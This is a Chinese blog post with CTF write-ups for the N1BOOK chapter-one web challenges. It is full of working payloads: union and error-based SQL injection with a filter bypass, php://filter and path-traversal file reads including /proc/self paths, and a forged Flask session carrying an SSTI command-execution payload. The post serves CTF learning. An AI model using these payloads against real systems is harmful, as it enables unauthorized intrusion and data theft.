前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUU-N1BOOK-第一章

BUU-N1BOOK-第一章

作者头像
Baige
发布2022-03-22 14:37:17
1K0
发布2022-03-22 14:37:17
举报
文章被收录于专栏:世荣的博客

前言:

BUU的N1BOOK系列是我从未接触过的一个系列,鉴于被BUU的WEB搞崩心态,换个类型,换个心情OωO。 解了一道题发现是和《从0到1 CTFer成长之路》合作的题目,这样也不错,对新手来说是很平滑的学习路线。 2021.9.22 阴转晴

1.[第一章 web入门]常见的搜集

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

打开环境,提示:敏感文件 科普一波 常见的敏感文件:

代码语言:javascript
复制
1、gedit备份文件,格式为filename~,比如index.php~
2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
3、robots.txt

通过一个个访问目录也可以得到flag。 这里推荐工具:御剑(这里类似的扫描路径的软件也可以)PS:此时我的Mac一点也不香了,因为我不想开虚拟机。 其实工具dirsearch也是可以的,但是依靠字典(我们日常的CTF里面总也有些奇奇怪怪的文件不在字典里面) 最后经过我辛苦的一番操作,可以得到以下三个路径返回正常robots.txt index.php~ .index.php.swp

1.访问robots.txt看看,发现可一个命名为:/flag1_is_her3_fun.txt的文件,访问看看。

代码语言:javascript
复制
User-agent: *
Disallow:
/flag1_is_her3_fun.txt

直接拿到flag的一半???

代码语言:javascript
复制
flag1:n1book{info_1

那剩下一半flag在哪里???我不猜,我让工具替我猜。 2.这里我们访问index.php~的时候发现了字符串:

代码语言:javascript
复制
flag2:s_v3ry_im

但是这个拼接起来少个反括号,说明还有! 3.访问扫描出来的最后一个路径:.index.php.swp

代码语言:javascript
复制
flag3:p0rtant_hack}

拼接起来:

代码语言:javascript
复制
flag:n1book{info_1s_v3ry_imp0rtant_hack}

看来BUU和《从0到1 CTFer成长之路》合作了,那么后续再给自己挖个大坑,记录相关的知识点,今晚试水先解一道题。

未完待续!

2.[第一章 web入门]粗心的小李

看看能不能找到信息吧?

解题关键点:如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。 下载地址:GitHack 在GitHub上下载源码的压缩包后解压,然后打开终端:(这里需要python2才行)

这时候打开GitHack路径中新增的文件夹(也就是输入的域名)里面有一个index.html,点开它(用浏览器打开)

题目很简单,考察点是Git泄露的危险,但是这些知识点没有学习路线,零碎学的不用就又会忘记,这里我打算单独再开个分支,归纳《从0到1 CTFer成长之路》中的知识点,希望大家做题前后都去反复看看,不要为了做题而做题,不要为了刷flag而刷flag。

3.[第一章 web入门]SQL注入-1

巴拉巴拉看完了说了一大堆,没什么特别的,做WEB题纪律性的操作过一遍,发现网站的URL:

代码语言:javascript
复制
/index.php?id=1

(1)寻找注入点

代码语言:javascript
复制
?id=1' and 1=2 页面出现错误,说明存在注入点 id

(2)测试有几个回显   ?id=1’ order by 3 --+ 页面正常

代码语言:javascript
复制
?id=1’ order by 4 --+ 页面报错,说明存在2,3两个回显

(3)开始查库查表查字段

代码语言:javascript
复制
1.查库名:
payload:?id=-1' union select 1,database(),3 --+
代码语言:javascript
复制
回显说数据库名就是 note
2.查表名:
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 0,1 --+

?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 1,1 --+
发现这边只有两个表,一个是fl4g,一个是notes
3.相比之下 fl4g 更有可能,查一下它的字段:
payload:?id=-1' union select 1,database(), group_concat(column_name) from
information_schema.columns where table_name='fl4g' --+
代码语言:javascript
复制
4.查询字段:
payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

拿下flag,这道题就是SQL语句的练习与判断,可以去看看我的BUU-WEB的SQL注入的相关题目,后期我会单独开文章单独讲,这里就不再赘述。

注:对payload填写无感或者对这些库,表,字段没有概念的,建议使用:Sqlmap,我后期会跟进文章。

4.[第一章 web入门]SQL注入-2

题目提示:请访问 /login.php /user.php

纪律性:进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到:

这里为了解题方便,就不用HackBar了,这里用Burp Suite: 1.先关闭拦截 2.输入一个用户名和密码 3.打开拦截 4.点击登录 5.发送到Repeater 6.添加:?tips=1 7.send

用dual进行测试:

代码语言:javascript
复制
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx
(密码写啥都行,因为前面注释掉密码了)

根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过:

代码语言:javascript
复制
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

成功得到正常回显:

开始注入: 1.查表名: 要看fl4g的字段,把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’,整理payload:

代码语言:javascript
复制
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from
information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

2.查看字段获取flag: payload:

代码语言:javascript
复制
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+
代码语言:javascript
复制
flag:n1book{login_sqli_is_nice}

题目原理:

  1.有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入   2.updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数   3.dual用于测试数据库是否可以正常使用

5.[第一章 web入门]afr_1

发现后面传了参数:?p=hello 这是在提示一个东西:任意文件读取,本道题的考点是php伪协议 解题: php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 (1)原理    PHP向用户提供的指定待打开文件的方式,是一个文件流    PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法

代码语言:javascript
复制
php://filter/read=convert.base64-encode/resource=xxx

   利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码 (2)通用payload:

代码语言:javascript
复制
通用格式:
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd

(3)本题payload:

代码语言:javascript
复制
http://b339945d-9f9c-46ea-8640-710e084edfd7.node4.buuoj.cn:81/
?p=php://filter/convert.base64-encode/resource=flag

(4)将得到的base64进行解码:

代码语言:javascript
复制
编码:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
明文:<?php
    die('no no no');
    //n1book{afr_1_solved}

写在最后:关于PHP伪协议我会单独开一篇文章单独讲(又给自己挖坑),如果后面我忘了,记得打醒我......

6.[第一章 web入门]afr_2

为什么要辣我眼睛???命题人夜路警告!!!看不下去了速速解题!!! 纪律性的检查一遍,发现源码里这个动图在/img文件夹下面,进去看看。

看到这里还是有点懵,目录穿越看看上层文件,在网址输入:/img../

看到flag文件,点击发现下载下来一个文件。

emmmm,好无聊,就这么结束了。

7.[第一章 web入门]afr_3

随便输入一个admin,点击进去又是一个链接:

观察URL,有一个name参数,思路在这里就断了,但是由于我有《从0到1 CTFer成长之路》这本书,于是我就翻了一下发现有一个章节的知识点(如果有书请翻看:P39-1.3.2文件读取漏洞常见读取路径)在Linux系统中,服务器信息(绝对路径)中有一个/proc目录 关于/proc目录: 通常存储着进程动态进行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。

代码语言:javascript
复制
1.对应目录下的cmdline可读出比较敏感的信息,如使用mysql -uxxx -pxxxx登录MySQl,会在cmdline中显示明文密码:
/proc/[pid]/cmdline     ([pid]指向进程所对应的终端命令)
2.有时候我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cwd/        ([pid]指向进程的运行目录)
3.环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ     ([pid]指向进程运行时的环境变量)

所以综上所述利用这个name参数获取当前执行系统命令:

代码语言:javascript
复制
payload:URL/article?name=../../../../../proc/self/cmdline

得到python server.py,然后查看server.py的源代码:

代码语言:javascript
复制
payload:URL/article?name=../../../../../proc/self/cwd/server.py

可以看到有个flag.py和key.py 在flag.py中应该是存在flag,但是不能查看

代码语言:javascript
复制
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session['n1code'] is not None:
 template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) 

可以看到这里存在ssti,可以用flask的session伪造获取flag 这里偷懒没有自己伪造,这里直接就用了别人的:

代码语言:javascript
复制
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()
[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

关于伪造session我之前WEB也有提到,具体方法:第20题

代码语言:javascript
复制
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

伪造:

代码语言:javascript
复制
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': 
'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\']
.popen(\'cat flag.py\').read()}}'}"

伪造结果: .eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPlj NjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q- vTkpKpV1BcrHygP.YU0sHg.kzXojXHR6PsJpJip6F_P9OjasbE 修改Session:(1.Hackbar 2.Burp Suite) 先在终端上运行一波:flask_session_cookie_manager3.py 拿到伪造session:

通过Repeater修改Cookie session并且send

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 09 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 1.[第一章 web入门]常见的搜集
    • 未完待续!
    • 2.[第一章 web入门]粗心的小李
    • 3.[第一章 web入门]SQL注入-1
    • 4.[第一章 web入门]SQL注入-2
    • 5.[第一章 web入门]afr_1
    • 6.[第一章 web入门]afr_2
    • 7.[第一章 web入门]afr_3
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档